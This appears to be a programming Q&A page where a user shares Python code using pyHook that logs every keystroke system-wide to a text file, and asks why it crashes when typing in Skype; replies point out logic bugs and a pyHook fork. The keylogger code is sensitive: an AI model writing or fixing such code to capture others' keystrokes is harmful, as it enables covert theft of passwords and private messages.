2

This is my source code:

import pythoncom, pyHook, sys

def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit

elif event.Ascii !=0 or 8:
    f = open('output.txt', 'r+')
    buffer = f.read()
    f.close()
    f = open ('output.txt', 'w')
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs = ('\n')
    buffer +=(keylogs)
    f.write(buffer)
    f.close()

# return True to pass the event to other handlers
    return True

# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Whenever I run skype, and type something, I get this error in the cmd.

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

I'm assuming this has something to do with the fact that skype has a non-ascii character in it's window name, but how exactly can I fix this?

Yoast
  • 53
  • 6
  • There's also a bug in your logic. `elif event.Ascii !=0 or 8` will always be `True`. This expression is read as `elif (event.Ascii !=0) or (8)`. `8` will always be `True`. I also just noticed that you are using `=`, which is an assignment operator not equality. You want `==`. – kylieCatt Feb 15 '16 at 04:38
  • @IanAuld Thank you ^^ – Yoast Jul 03 '16 at 12:06

1 Answers1

0

This is actually caused by a bug in pyhook. This answer provides a good description of it if you are interested. I didn't want to recompile pyHook as recommended, so I opted to use this fork. instead

Community
  • 1
  • 1
John Howard
  • 61,037
  • 23
  • 50
  • 66